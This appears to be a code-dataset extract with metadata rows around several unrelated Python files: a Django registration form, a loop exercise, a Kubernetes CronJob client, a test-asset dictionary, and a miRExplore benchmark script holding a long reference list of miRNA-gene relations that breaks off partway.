0.033333

0

null

0

1

null

0

2

8a65dcf26657b17b7c976ff8dd2663fc7ac5793d

473

py

Python

users/forms.py

gurnitha/django-fantom-blog

f9533be63ea71ce21fd9ddb37cf6f16eee905d88

[ "Unlicense" ]

null

users/forms.py

gurnitha/django-fantom-blog

f9533be63ea71ce21fd9ddb37cf6f16eee905d88

[ "Unlicense" ]

null

users/forms.py

gurnitha/django-fantom-blog

f9533be63ea71ce21fd9ddb37cf6f16eee905d88

[ "Unlicense" ]

null

# users/forms.py # Django modules from django.contrib.auth.forms import UserCreationForm from django.contrib.auth.models import User from django import forms class RegisterForm(UserCreationForm): username = forms.CharField(max_length=50) email = forms.EmailField(max_length=50) password1 = forms.CharField() password2 = forms.CharField() class Meta(UserCreationForm): model = User fields = ('username','email','password1','password2')

29.5625

61

0.733615

54

473

6.388889

0.481481

0.086957

0.098551

0.121739

0

0.020202

0.162791

473

16

61

29.5625

0.85101

0.061311

0

0.070136

0

1

0

false

0.272727

0

0.818182

0

null

0

null

0

1

0

1

0

2

8a66876f05b1b369b3cf906bf07be210c4813ad8

74

py

Python

Condicionais/If.py

caiojjj/python_1_USP_coursera

1ac03cc0d50f505f8a7ef364cb04b90d41235b9b

[ "MIT" ]

null

Condicionais/If.py

caiojjj/python_1_USP_coursera

1ac03cc0d50f505f8a7ef364cb04b90d41235b9b

[ "MIT" ]

1

2020-10-13T05:00:06.000Z

2020-10-17T00:49:17.000Z

Condicionais/If.py

caiojjj/python_1_USP_coursera

1ac03cc0d50f505f8a7ef364cb04b90d41235b9b

[ "MIT" ]

null

i = 2 while True: if i % 3 == 0: break print(i) i += 2

12.333333

18

0.391892

13

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8a71f15e4983c25be8b8c1fedab40345aa59f02b

1,274

py

Python

bcs-ui/backend/resources/workloads/cronjob/client.py

laodiu/bk-bcs

2a956a42101ff6487ff521fb3ef429805bfa7e26

[ "Apache-2.0" ]

599

2019-06-25T03:20:46.000Z

2022-03-31T12:14:33.000Z

bcs-ui/backend/resources/workloads/cronjob/client.py

laodiu/bk-bcs

2a956a42101ff6487ff521fb3ef429805bfa7e26

[ "Apache-2.0" ]

537

2019-06-27T06:03:44.000Z

2022-03-31T12:10:01.000Z

bcs-ui/backend/resources/workloads/cronjob/client.py

laodiu/bk-bcs

2a956a42101ff6487ff521fb3ef429805bfa7e26

[ "Apache-2.0" ]

214

2019-06-25T03:26:05.000Z

2022-03-31T07:52:03.000Z

# -*- coding: utf-8 -*- """ Tencent is pleased to support the open source community by making 蓝鲸智云PaaS平台社区版 (BlueKing PaaS Community Edition) available. Copyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved. Licensed under the MIT License (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://opensource.org/licenses/MIT Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from backend.container_service.clusters.base.models import CtxCluster from backend.resources.constants import DEFAULT_CRON_JOB_API_VERSION, K8sResourceKind from backend.resources.resource import ResourceClient from backend.resources.workloads.cronjob.formatter import CronJobFormatter class CronJob(ResourceClient): kind = K8sResourceKind.CronJob.value formatter = CronJobFormatter() def __init__(self, ctx_cluster: CtxCluster): super().__init__(ctx_cluster=ctx_cluster, api_version=DEFAULT_CRON_JOB_API_VERSION)

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8a75c90846e238637f681187748aa64677cef934

232

py

Python

test/assets/vector_collection.py

pydget/xbrief

9e91927a98754b0fca1fa55eae9a785b15e963f9

[ "MIT" ]

null

test/assets/vector_collection.py

pydget/xbrief

9e91927a98754b0fca1fa55eae9a785b15e963f9

[ "MIT" ]

null

test/assets/vector_collection.py

pydget/xbrief

9e91927a98754b0fca1fa55eae9a785b15e963f9

[ "MIT" ]

null

vector_collection = { 'none': None, 'empty': [], 'numerals': [1, 1, 2, 3, 5, 8, 13, 21], 'strings': ['foo', 'bar', 'zen'], 'cities': ['san fransisco', 'buenos aires', 'bern', 'kinshasa-brazzaville', 'nairobi'] }

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null

0

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8a85f3036c67974130bf8da629d90eecc39be1ee

32,156

py

Python

python/mirtex_benchmark/summarizeResults.py

mjoppich/miRExplore

32760d88d65e7bc23b2bfb49415efcd0a7c7c5e1

[ "Apache-2.0" ]

null

python/mirtex_benchmark/summarizeResults.py

mjoppich/miRExplore

32760d88d65e7bc23b2bfb49415efcd0a7c7c5e1

[ "Apache-2.0" ]

null

python/mirtex_benchmark/summarizeResults.py

mjoppich/miRExplore

32760d88d65e7bc23b2bfb49415efcd0a7c7c5e1

[ "Apache-2.0" ]

null

import os,sys sys.path.insert(0, "/mnt/f/dev/git/miRExplore/python/") import time from textdb.MiGenRelDB import MiGenRelDB from textdb.SentenceDB import SentenceDB from collections import defaultdict from natsort import natsorted sentDB, _ = SentenceDB.loadFromFile("./test/", "./development/pmid2sent", returnAll=True, redoPmid2Sent=True) mmuDB = MiGenRelDB.loadFromFile("./aggregated_test/mirna_gene.mmu.pmid", ltype="mirna", rtype="gene") hsaDB = MiGenRelDB.loadFromFile("./aggregated_test/mirna_gene.hsa.pmid", ltype="mirna", rtype="gene") referenceSolution = [ ('16831872','miR-9','ONECUT2','MIR_GENE'), ('16831872','miR-9','SYTL4','MIR_GENE'), #('17438130','miR-17-92','MYC','GENE_MIR'), # not a miRNA (miR-17-92 cluster) ('17438130','let-7c','MYC','MIR_GENE'), ('17438130','let-7c','MIR17HG','MIR_GENE'), #The PPARalpha-mediated induction of c-myc via let-7C subsequently increased expression of the oncogenic mir-17-92 cluster; these events did not occur in Pparalpha-null mice. ('18185580','miR-335','SOX4','MIR_GENE'), ('18185580','miR-335','TNC','MIR_GENE'), ('18755897','miR-34','TP53','GENE_MIR'), # wrong: acetylated TP53 // correct: Finally, miR-34a itself is a transcriptional target of p53, suggesting a positive feedback loop between p53 and miR-34a. ('18755897','miR-34a','TP53','GENE_MIR'), ('18755897','miR-34a','SIRT1','MIR_GENE'), ('18755897','miR-34','SIRT1','MIR_GENE'), ('18755897','miR-34','TP53','MIR_GENE'), # wrong: acetylated TP53 // correct: Finally, miR-34a itself is a transcriptional target of p53, suggesting a positive feedback loop between p53 and miR-34a. ('18755897','miR-34','CDKN1A','MIR_GENE'), #p21 #miR-34a ('18755897','miR-34','TPT1','MIR_GENE'), # p21 ('18755897','miR-34','NSG1','MIR_GENE'), # p21 ('18755897','miR-34','H3F3AP6','MIR_GENE'), # p21 ('18755897','miR-34','TCEAL1','MIR_GENE'), # p21 ('18755897','miR-34','BBC3','MIR_GENE'), #34a, has syn PUMA ('19059913','miR-223','SPI1','GENE_MIR'), ('19059913','miR-223','NFIA','MIR_GENE'), ('19059913','miR-223','NFIC','MIR_GENE'), # TM error, means NFIA ('19059913','miR-223','CSF1R','MIR_GENE'), ('19073597','miR-133a','MYOD1','GENE_MIR'), ('19073597','miR-133a','UCP2','MIR_GENE'), ('19073597','miR-133a','BMIQ4','MIR_GENE'), # has UCP-2 as syn ('19073597','miR-133a-mediated','UCP2','MIR_GENE'), ('19073597','miR-133a-mediated','BMIQ4','MIR_GENE'), # has UCP-2 as syn ('22066022', 'miR-21', 'GPT', 'MIR_GENE'), # missing mirtex: Serum miR-21 levels correlated with histological activity index (HAI) in the liver, alanine aminotransferase (ALT), aspartate aminotransferase , bilirubin, international normalized ratio and gamma-glutamyltransferase. ('19158092','miR-21','PDCD4','MIR_GENE'), ('19158092','miR-21-mediated','PDCD4','MIR_GENE'), #('19378336','miR-145','KRT7','MIR_GENE'), #no interaction ('19378336','miR-30','KRT7','MIR_GENE'), ('19378336','miR-133a','KRT7','MIR_GENE'), #('19378336','miR-133b','KRT7','MIR_GENE'), #no interaction in text #('19378336','miR-195','KRT7','MIR_GENE'), #no interaction #('19378336','miR-125b','KRT7','MIR_GENE'), #no interaction in text ('19378336','miR-199a','KRT7','MIR_GENE'), ('19524507','miR-31','RHOA','MIR_GENE'), ('19544458','miR-92b','CORO1A','MIR_GENE'), # was p57 ('19625769','miR-101','EZH2','MIR_GENE'), ('19723773','miR-290','CDKN2A','MIR_GENE'), # p16 ('19839716','miR-205','ERBB3','MIR_GENE'), ('19839716','miR-205','ZEB1','MIR_GENE'), ('19956414','miR-29b','COL1A1','MIR_GENE'), ('19956414','miR-29b','OI4','MIR_GENE'), #COL1A1 ('19956414','miR-29b','COL1A2','MIR_GENE'), ('19956414','miR-29b','COL4A1','MIR_GENE'), ('19956414','miR-29b','COL5A1','MIR_GENE'), ('19956414','miR-29b','COL5A2','MIR_GENE'), ('19956414','miR-29b','COL3A1','MIR_GENE'), ('19956414','miR-29b','EDS4A','MIR_GENE'), #COL3A1 ('19956414','miR-29b','LAMC1','MIR_GENE'), ('19956414','miR-29b','FBN1','MIR_GENE'), ('19956414','miR-29b','SPARC','MIR_GENE'), ('19956414','miR-29b','ON','MIR_GENE'), #osteonectin ('19956414','miR-29b','BMP1','MIR_GENE'), ('19956414','miR-29b','PCOLC','MIR_GENE'), #BMP1 ('19956414','miR-29b','ADAM12','MIR_GENE'), ('19956414','miR-29b','NKIRAS2','MIR_GENE'), ('20012062','miR-221','PSMD9','MIR_GENE'), #p27 ('20012062','miR-222','PSMD9','MIR_GENE'), ('20012062','miR-221','SSSCA1','MIR_GENE'), #p27 ('20012062','miR-222','SSSCA1','MIR_GENE'), ('20017139','miR-146a','CNTN2','GENE_MIR'), ('20017139','miR-146a','NFKB1','GENE_MIR'), #('20046097', 'miR-449', 'CDK', 'MIR_GENE'), # CDK not a gene symbol, not in mirtex ('20046097', 'miR-449', 'E2F1', 'MIR_GENE'), #not in mirtex :miR-449 regulates CDK-Rb-E2F1 through an auto-regulatory feedback circuit. ('20046097', 'miR-449', 'RB1', 'MIR_GENE'), #not in mirtex ('20103675','miR-222','PPP2R2A','MIR_GENE'), ('20143188','miR-21','PDCD4','MIR_GENE'), ('20299489','miR-34a','ERK','GENE_MIR'), ('20299489','miR-34a','EPHB2','GENE_MIR'),# ERK syn ('20299489','miR-34a','MAPK1','GENE_MIR'),# ERK syn ('20299489','miR-34a','MAP2K1','MIR_GENE'), ('20299489','miR-221','FOS','MIR_GENE'), ('20299489','miR-222','FOS','MIR_GENE'), ('20299489','miR-34a','FOSB','GENE_MIR'), #mirtex missing: induced miR-34a expression by transactivation via the activator protein-1 binding site in the upstream region of the miR-34a gene. ('20299489','miR-34a','JUND','GENE_MIR'), # activator protein 1 syn ('20299489','miR-34a','JUN','GENE_MIR'), # induced miR-34a expression by transactivation via the activator protein-1 binding site ('20462046','miR-21','PDCD4','MIR_GENE'), ('20478254','miR-183','SLC1A1','MIR_GENE'), ('20478254','miR-96','SLC1A1','MIR_GENE'), ('20478254','miR-182','SLC1A1','MIR_GENE'), ('20498046','miR-200b','ATP2A2','MIR_GENE'), ('20498046','miR-214','ATP2A2','MIR_GENE'), ('20603081','miR-150','MYB','MIR_GENE'), ('20606648', 'miR-34a', 'BIRC5', 'MIR_GENE'), # missing in mirtex, miRNA-34a (miR-34a) induced apoptosis, inhibited survivin expression, and downregulated MAPK pathway in B16F10 cells. ('20620960','miR-200c','FAP','MIR_GENE'), ('20620960','miR-200','FAP','MIR_GENE'), ('20620960','miR-200c','GLMN','MIR_GENE'), # has FAP as syn ('20620960','miR-200','GLMN','MIR_GENE'), # has FAP as syn ('20620960','miR-200','FAS','MIR_GENE'), # CD95; quite indirect though. miR-200c regulates induction of apoptosis through CD95 by targeting FAP-1. ('20620960','miR-200c','FAS','MIR_GENE'), # CD95; quite indirect though. miR-200c regulates induction of apoptosis through CD95 by targeting FAP-1. ('20620960','miR-200','ZEB1','MIR_GENE'), # 200c ('20620960','miR-200','ZEB2','MIR_GENE'), # 200c ('20620960','miR-200','PPCD3','MIR_GENE'), # ZEB1 ('20676061','miR-29c','WNT5A','MIR_GENE'), ('20676061','miR-130b','WNT5A','MIR_GENE'), ('20676061','miR-101','WNT5A','MIR_GENE'), ('20676061','miR-30b','WNT5A','MIR_GENE'), ('20676061','miR-140','WNT5A','MIR_GENE'), ('20676061','miR-29c','ZIC1','MIR_GENE'), ('20676061','miR-130b','ZIC1','MIR_GENE'), ('20676061','miR-101','ZIC1','MIR_GENE'), ('20676061','miR-30b','ZIC1','MIR_GENE'), ('20676061','miR-140','ZIC1','MIR_GENE'), ('20676061','miR-29c','TGFB1','MIR_GENE'), ('20676061','miR-130b','TGFB1','MIR_GENE'), ('20676061','miR-101','TGFB1','MIR_GENE'), ('20676061','miR-30b','TGFB1','MIR_GENE'), ('20676061','miR-140','TGFB1','MIR_GENE'), ('20676061','miR-29c','DPD1','MIR_GENE'), # has TGFB1 as syn ('20676061','miR-130b','DPD1','MIR_GENE'), ('20676061','miR-101','DPD1','MIR_GENE'), ('20676061','miR-30b','DPD1','MIR_GENE'), ('20676061','miR-140','DPD1','MIR_GENE'), ('20736365','miR-196','HOXC8','MIR_GENE'), ('20736365','miR-196','HOX3A','MIR_GENE'), # has syn HOXC8 ('20859756', 'miR-126', 'TMEM8B', 'GENE_MIR'), # missing mirtex: In particular, miR-126, miR-142-3p, miR-155, miR-552, and miR-630 were all upregulated, whereas miR-146a, miR-152, miR-205, miR-365, miR-449, miR-518c, miR-584, miR-615, and miR-622 were downregulated after NGX6 transfection. ('20859756', 'miR-142', 'TMEM8B', 'GENE_MIR'), ('20859756', 'miR-155', 'TMEM8B', 'GENE_MIR'), ('20859756', 'miR-552', 'TMEM8B', 'GENE_MIR'), ('20859756', 'miR-630', 'TMEM8B', 'GENE_MIR'), ('20859756', 'miR-146a', 'TMEM8B', 'GENE_MIR'), ('20859756', 'miR-152', 'TMEM8B', 'GENE_MIR'), ('20859756', 'miR-205', 'TMEM8B', 'GENE_MIR'), ('20859756', 'miR-365', 'TMEM8B', 'GENE_MIR'), ('20859756', 'miR-449', 'TMEM8B', 'GENE_MIR'), ('20859756', 'miR-518c', 'TMEM8B', 'GENE_MIR'), ('20859756', 'miR-584', 'TMEM8B', 'GENE_MIR'), ('20859756', 'miR-615', 'TMEM8B', 'GENE_MIR'), ('20859756', 'miR-622', 'TMEM8B', 'GENE_MIR'), ('20945501', 'miR-141', 'AR', 'MIR_GENE'), # missing mirtex, inhibition of miR-141 by anti-miR-141 suppressed the growth of the LNCaP subline overexpressing AR. ('20945501', 'miR-141', 'SBMA', 'MIR_GENE'), # has AR as syn ('20945501', 'miR-141', 'DHTR', 'MIR_GENE'), # has AR as syn ('20945501', 'miR-141', 'AKR1B3', 'MIR_GENE'), # has AR as syn ('20945501', 'miR-141', 'AKR1B7', 'MIR_GENE'), # has AR as syn ('20945501', 'miR-141', 'AKR1B8', 'MIR_GENE'), # has AR as syn ('20945501', 'miR-141', 'SBMA', 'MIR_GENE'), # has AR as syn ('20945501', 'miR-141', 'AREG', 'MIR_GENE'), # has AR as syn ('20945501', 'miR-141', 'FDXR', 'MIR_GENE'), # has AR as syn ('20947507','miR-155','NFKB1','GENE_MIR'), ('20947507','miR-155','CARD11','GENE_MIR'), ('20947507','miR-155','SPI1','MIR_GENE'), # PU.1 #('20947507','miR-155','CD10','MIR_GENE'), ('20947507','miR-155','MME','MIR_GENE'), # CD10 ('21088996','miR-21','PDCD4','MIR_GENE'), ('21276775','miR-145','ROBO2','MIR_GENE'), ('21276775','miR-145','SRGAP2','MIR_GENE'), ('21276775','miR-145','SRGAP3','MIR_GENE'), # has SRGAP2 syn ('21276775','miR-214','ROBO2','MIR_GENE'), ('21276775','miR-214','SRGAP2','MIR_GENE'), ('21276775','miR-214','SRGAP3','MIR_GENE'),# has SRGAP2 syn ('21285947','miR-24','INS','MIR_GENE'), ('21285947','miR-26','INS','MIR_GENE'), ('21285947','miR-182','INS','MIR_GENE'), ('21285947','miR-148','INS','MIR_GENE'), #('21347332','miR-21','serum','GENE_MIR'), # not a gene ('21347332','miR-21','FGF2','GENE_MIR'), ('21347332','miR-21','RHOB','MIR_GENE'), ('21415212','miR-486','OLFM4','MIR_GENE'), ('21454627','mmu-miR-183','mSEL-1L','MIR_GENE'), ('21609717','miR-98-mediated','IL10','MIR_GENE'), ('21609717','miR-98','IL10','MIR_GENE'), ('21609717','miR-98','PTGS2','MIR_GENE'), #COX-2 ('21609717','miR-98', 'LPS', 'GENE_MIR'), ('21609717','miR-98', 'IRF6', 'GENE_MIR'), #missing mirtex, MicroRNA-98 negatively regulates IL-10 production and endotoxin tolerance in macrophages after LPS stimulation. ('21666774','miR-21','LH (luteinizing hormone)','GENE_MIR'), ('21666774','miR-132','LH (luteinizing hormone)','GENE_MIR'), ('21666774','miR-212','LH (luteinizing hormone)','GENE_MIR'), ('21685392','miR-143','NOTCH1','MIR_GENE'), #should be N1ICD, TM issue ('21685392','miR-145','NOTCH1','MIR_GENE'), ('21685392','miR-143','TAN1','MIR_GENE'), #should be N1ICD, TM issue ('21685392','miR-145','TAN1','MIR_GENE'), ('21685392','miR-143','RBPJ','GENE_MIR'), #We also identified N1ICD complex binding to CBF1 sites within the endogenous human miR-143/145 promoter. ('21685392','miR-145','RBPJ','GENE_MIR'), ('21685392','miR-143','JAG1','GENE_MIR'), #Using SRF knockdown, we found that Jag-1/Notch induction of miR-143/145 is SRF independent, although full acquisition of contractile markers requires SRF. ('21685392','miR-145','JAG1','GENE_MIR'), ('21685392','miR-143','SRF','GENE_MIR'), #Using SRF knockdown, we found that Jag-1/Notch induction of miR-143/145 is SRF independent, although full acquisition of contractile markers requires SRF. ('21685392','miR-145','SRF','GENE_MIR'), ('21685392','miR-145','MYOCD','GENE_MIR'), #The serum response factor (SRF)/myocardin complex binds to CArG sequences to activate miR-143/145 transcription ('21685392','miR-143','MYOCD','GENE_MIR'), ('21693621','miR-21','MYC','GENE_MIR'), ('21693621','miR-29a','MYC','GENE_MIR'), ('21898400','miR-520c','MTOR','MIR_GENE'), ('21898400','miR-373','MTOR','MIR_GENE'), ('21898400','miR-520c','SIRT1','MIR_GENE'), ('21898400','miR-373','SIRT1','MIR_GENE'), ('21898400','miR-520c','MMP9','MIR_GENE'), ('21898400','miR-373','MMP9','MIR_GENE'), ('21898400','miR-520c','CLG4B','MIR_GENE'), # MMP-9 ('21898400','miR-373','CLG4B','MIR_GENE'), ('22123611','miR-195','BCL2','MIR_GENE'), ('22123611','miR-195','CASP3','MIR_GENE'), ('22123611','miR-195','WT1','MIR_GENE'), #missing mirtex: miR-195-treated podocytes underwent actin rearrangement and failed to synthesize sufficient levels of WT-1 and synaptopodin proteins, which suggests that the cells had suffered injuries similar to those observed in diabetic nephropathy in both humans and animal models. ('22123611','miR-195','SYNPO','MIR_GENE'), ('22123611','miR-195','GUD','MIR_GENE'), ('22139444','miR-30c','MTA1','MIR_GENE'), ('22249219','miR-214','ADORA2A','MIR_GENE'), ('22249219','miR-15','ADORA2A','MIR_GENE'), ('22249219','miR-16','ADORA2A','MIR_GENE'), ('22269326','miR-29b','COL1A1','MIR_GENE'), ('22269326','miR-29b','COL3A1','MIR_GENE'), ('22269326','miR-29b','EDS4A','MIR_GENE'), #COL3A1 syn ('22269326','miR-29b','COL5A1','MIR_GENE'), ('22269326','miR-29b','ELN','MIR_GENE'), ('22286762','miR-21','NF-kappaB','GENE_MIR'), ('22286762','miR-10b','NF-kappaB','GENE_MIR'), ('22286762','miR-17','NF-kappaB','GENE_MIR'), ('22286762','miR-9','NF-kappaB','GENE_MIR'), ('22569260','miR-223','FOXO1','MIR_GENE'), ('22569260','miR-223','FKHR','MIR_GENE'), # FOXO1 syn ('22634495','miR-10a','CHL1','MIR_GENE'), ('22634495','miR-10a','DDX11','MIR_GENE'), # CHL1 syn ('22698995','let-7','BACH1','MIR_GENE'), ('22698995','let-7b','BACH1','MIR_GENE'), ('22698995','let-7c','BACH1','MIR_GENE'), ('22698995','miR-98','BACH1','MIR_GENE'), #same gene symbol ('22698995','let-7','BRIP1','MIR_GENE'), ('22698995','let-7b','BRIP1','MIR_GENE'), ('22698995','let-7c','BRIP1','MIR_GENE'), ('22698995','miR-98','BRIP1','MIR_GENE'), ('22698995','let-7','HMOX1','MIR_GENE'), ('22761336','miR-96','REV1','MIR_GENE'), ('22761336','miR-96','RAD51','MIR_GENE'), ('22761336','miR-96','RECA','MIR_GENE'), #RAD51 ('22761336','miR-96','RAD51A','MIR_GENE'), ('22847613','miR-130b','TP53','GENE_MIR'), ('22847613','miR-130b','ZEB1','MIR_GENE'), ('22847613','miR-130b','PPCD3','MIR_GENE'), # zeb1 ('22891274','miR-146a','NFKB1','GENE_MIR'), ('22891274','miR-146a','NFKB1','MIR_GENE'), ('22891274','miR-146a','TRAF6','MIR_GENE'), ('22891274','miR-146a','IRAK1','MIR_GENE'), ('22925189','miR-30c','ERBB2','MIR_GENE'), #Her-2 ('22925189','miR-30d','ERBB2','MIR_GENE'), ('22925189','miR-30e','ERBB2','MIR_GENE'), ('22925189','miR-532','ERBB2','MIR_GENE'), ('22955854','miR-144','ZFX','MIR_GENE'), ('22956424','miR-21','PTEN','MIR_GENE'), ('22956424','miR-21','MHAM','MIR_GENE'), # has PTEN syn ('22956424','miR-21','BZS','MIR_GENE'), # has PTEN syn ('22982443','miR-200c','BMI1','MIR_GENE'), ('22982443','miR-200c','ABCG2','MIR_GENE'), ('22982443','miR-200c','ABCG5','MIR_GENE'), ('22982443','miR-200c','MDR1','MIR_GENE'), ('22982443','miR-200c','TBC1D9','MIR_GENE'), # has syn MDR1 ('22982443','miR-200c','ABCB1','MIR_GENE'), # has syn MDR1 ('22982443','miR-200c','CDH1','MIR_GENE'), ('23010597','miR-134','FOXM1','MIR_GENE'), ('23010597','miR-134','FKHL16','MIR_GENE'), # has FOXM1 as syn ('23010597','miR-134','ITK','MIR_GENE'), # has EMT as syn; mirtex missing: Functional assays demonstrated that miR-134 inhibited EMT in NSCLC cells. ('23010597','miR-134','SLC22A3','MIR_GENE'), # has EMT as syn ('23041385','miR-21','CRP','MIR_GENE'), #('23041385','miR-21','fibrinogen','MIR_GENE'), # not a gene ('23041385','miR-21','TGFB2','MIR_GENE'), ('23097316','miR-34c','RARg','MIR_GENE'), ('23113351','miR-29','TP53','MIR_GENE'), # missing in mirtex: While miRNA-29 members induced apoptosis through p53 gene activation, the effect of miRNA-29a on osteoblastic cells was independent on p53 expression level. ('23113351','miR-29a','TP53','MIR_GENE'), ('23113351','miR-29','BCL2','MIR_GENE'), ('23113351','miR-29','MCL1','MIR_GENE'), ('23113351','miR-29','CLEC4D','MIR_GENE'), # CLEC4D has syn mcl ('23113351','miR-29a','CLEC4D','MIR_GENE'), # CLEC4D has syn mcl #('23113351','miR-29','E2F1','MIR_GENE'), #('23113351','miR-29','E2F3','MIR_GENE'), ('23113351','miR-29a','BCL2','MIR_GENE'), ('23113351','miR-29a','MCL1','MIR_GENE'), ('23113351','miR-29a','E2F1','MIR_GENE'), ('23113351','miR-29a','E2F3','MIR_GENE'), ('23113351','miR-29a','E2F1','MIR_GENE'), # possibly too ('23113351','miR-29a','E2F3','MIR_GENE'), # possibly too ('23148210','miR-210','HIF1A','GENE_MIR'), # was actived in ...-dependant ('23169590','miR-451','IL6','GENE_MIR'), ('23169590','miR-451','IFNA1','GENE_MIR'), #type I IFN ('23169590','miR-451','YWHAZ','MIR_GENE'), ('23169590','miR-451','YWHAD','MIR_GENE'), # has syn YWHAZ #('23169590','miR-451','14-3-3zeta','MIR_GENE'), # is YWHAZ ('23169590','miR-451','ZFP36','MIR_GENE'), #Three types of primary DCs treated with antisense RNA antagomirs directed against miR-451 secreted elevated levels of IL-6, TNF, CCL5/RANTES, and CCL3/MIP1alpha, and these results were confirmed using miR-451(null) cells. #this suggests that miR-451 suppresses these genes normalls ('23169590','miR-451','IL6','MIR_GENE'), ('23169590','miR-451','CCL3','MIR_GENE'), ('23169590','miR-451','CCL5','MIR_GENE'), ('23169590','miR-451','IL6','MIR_GENE'), ('23169590','miR-451','IFNB2','MIR_GENE'), #IL6 ('23169590','miR-451','TNF','MIR_GENE'), ('23169590','miR-451','TNFA','MIR_GENE'), #TNF #miR-451 levels are themselves increased by IL-6 and type I IFN, potentially forming a regulatory loop. ('23169590','miR-451','IL6','GENE_MIR'), #IL6 ('23169590','miR-451','IFNA1','GENE_MIR'), #type I IFN ('23169590','miR-451','IFNB2','GENE_MIR'), #IL6 ('23190607','miR-203','RAN','MIR_GENE'), ('23190607','miR-203','RAPH1','MIR_GENE'), ('23190607','miR-203','ALS2CR18','MIR_GENE'), # synonym ('23190608','miR-29b','SP1','GENE_MIR'), ('23190608','miR-29b','SP1','MIR_GENE'), # mirtex missing: miR-29b sensitizes multiple myeloma cells to bortezomib-induced apoptosis through the activation of a feedback loop with the transcription factor Sp1. ('23190608','miR-29b','DAND5','GENE_MIR'), # DAND5 has SP1 as syn ('23190608','miR-29b','DAND5','MIR_GENE'), ('23206698','miR-7','IRS2','MIR_GENE'), ('23396109','miR-17','PTEN','MIR_GENE'), #miR-17~92 ('23396109','miR-17','MHAM','MIR_GENE'), # MHAM syn is PTEN too ('23396109','miR-17','BZS','MIR_GENE'), # BZS syn is PTEN too #('23396109','miR-17','BIM','MIR_GENE'), # miR-17~92 is pten ('23396109','miR-17','BCL2L11','MIR_GENE'), # BCL2L11 syn is BIM ('23472202','miR-183','TAOK1','MIR_GENE'), ('23516615','miR-143','ERK5','MIR_GENE'), ('23516615','miR-143','PPARg','MIR_GENE'), ('23516615','miR-204','ERK5','MIR_GENE'), ('23516615','miR-204','PPARg','MIR_GENE'), ('23519125','miR-125a','erbB2','MIR_GENE'), ('23519125','miR-125a','erbB3','MIR_GENE'), ('23519125','miR-125b','erbB2','MIR_GENE'), ('23519125','miR-125b','erbB3','MIR_GENE'), ('23519125','miR-205','erbB2','MIR_GENE'), ('23519125','miR-205','erbB3','MIR_GENE'), # these are no genes! #('23527070','miR-21','collagen I','MIR_GENE'), #('23527070','miR-21','collagen III','MIR_GENE'), ('23527070','miR-21','ELN','MIR_GENE'), ('23527070','miR-21','SMAD7','MIR_GENE'), ('23527070','miR-21','SMAD5','MIR_GENE'), ('23527070','miR-21','SMAD2','MIR_GENE'), #('23534973','miR-152','HLA-G','MIR_GENE'), not a specific miRNA: miR-152 family ('23579289','miR-214','SP7','MIR_GENE'), ('23583389','miR-96','IRS1','MIR_GENE'), ('23592910','miR-146a','IL1B','GENE_MIR'), ('23592910','miR-146a','IFNG','GENE_MIR'), #('23592910','miR-146a','TNFA','GENE_MIR'), # is TNF ('23592910','miR-146b','IL1B','GENE_MIR'), ('23592910','miR-146b','IFNG','GENE_MIR'), ('23592910','miR-146b','TNF','GENE_MIR'), ('23592910','miR-146a','IRAK','MIR_GENE'), ('23592910','miR-146b','IRAK','MIR_GENE'), ('23611780','miR-106b','FBXW11','MIR_GENE'), #beta-TRCP2 #('23611780','miR-106b','SNAIL','MIR_GENE'), nope. means cluster + indirect: miR-106b-25 cluster may play an important role in the metastasis of human non-small cell lung cancer cells by directly suppressing the beta-TRCP2 gene expression with a consequent increase in the expression of Snail. ('23611780','miR-93','FBXW11','MIR_GENE'), ('23630358','miR-155','MSR1','MIR_GENE'), # SR-AI syn ('23643257','miR-424','FGR','MIR_GENE'), ('23643257','miR-424','MAP2K1','MIR_GENE'), ('23643257','miR-424','MAPK1','MIR_GENE'), #mitogen-activated protein kinase 1 ('23667495','miR-224','DPYSL2','MIR_GENE'), ('23667495','miR-224','KRAS','MIR_GENE'), ('23667495','miR-452','DPYSL2','MIR_GENE'), ('23667495','miR-452','KRAS','MIR_GENE'), ('23667495','miR-181c','KRAS','MIR_GENE'), ('23667495','miR-340','MECP2','MIR_GENE'), ('23667495','miR-181c','MECP2','MIR_GENE'), ('23667495','miR-340','KRAS','MIR_GENE'), ('23759586','miR-34a','SIRT1','MIR_GENE'), ('23759586','miR-125b','TP53','MIR_GENE'), ('23759586','miR-125b','SIRT1','MIR_GENE'), ('23797704','miR-21','TIMP3','MIR_GENE'), ('23797704','miR-221','TIMP3','MIR_GENE'), ('23797704','miR-21','SFD','MIR_GENE'),#is TIMP3 ('23797704','miR-221','SFD','MIR_GENE'),#is TIMP3 ('23797704','miR-217','TIMP3','MIR_GENE'), ('23797704','miR-217','SFD','MIR_GENE'), #is TIMP3 ('23797704','miR-217','SIRT1','MIR_GENE'), ('23836497','miR-20','STAT3','MIR_GENE'), ('23836497','miR-20','CCND1','MIR_GENE'), ('23836497','miR-106a','STAT3','MIR_GENE'), ('23836497','miR-106a','CCND1','MIR_GENE'), # same genesymbols ('23846856','miR-875','PRDX3','MIR_GENE'), ('23846856','miR-875','PRX','MIR_GENE'), ('23851184','miR-200b','WNT1','MIR_GENE'), ('23851184','miR-22','WNT1','MIR_GENE'), ('23895517','mir-494','TNFSF14','MIR_GENE'), ('23895517','mir-197','TNFSF14','MIR_GENE'), ('23968734','miR-133a','PDLIM5','MIR_GENE'), # LIM #('23968734','miR-133a','SH3 protein 1','MIR_GENE'), ('23968734','miR-133a','LASP1','MIR_GENE'), #SH3 protein 1 ('24006456','miR-29b','IGF1','MIR_GENE'), ('24006456','miR-30c','IGF1','MIR_GENE'), ('24006456','miR-29b','LIF','MIR_GENE'), ('24006456','miR-30c','LIF','MIR_GENE'), ('24006456','miR-29b','PTX3','MIR_GENE'), ('24023867','miR-135a','NR3C2','MIR_GENE'), ('24023867','miR-124','NR3C2','MIR_GENE'), ('24145190','miR-203','SNAI1','GENE_MIR'), ('24145190','miR-203','CD44','MIR_GENE'), # new, not in mirtex: we found that the levels of several EMT activators and miR-203 were positively and negatively correlated with those of CD44, respectively. ('24145190','miR-203','MDU3','MIR_GENE'), ('24145190','miR-203','MIC4','MIR_GENE'), ('24145190','miR-203','MDU2','MIR_GENE'), ('24145190','miR-203','SRC','GENE_MIR'), # missing in mirtex: Finally, we discovered that c-Src kinase activity was required for the downregulation of miR-203 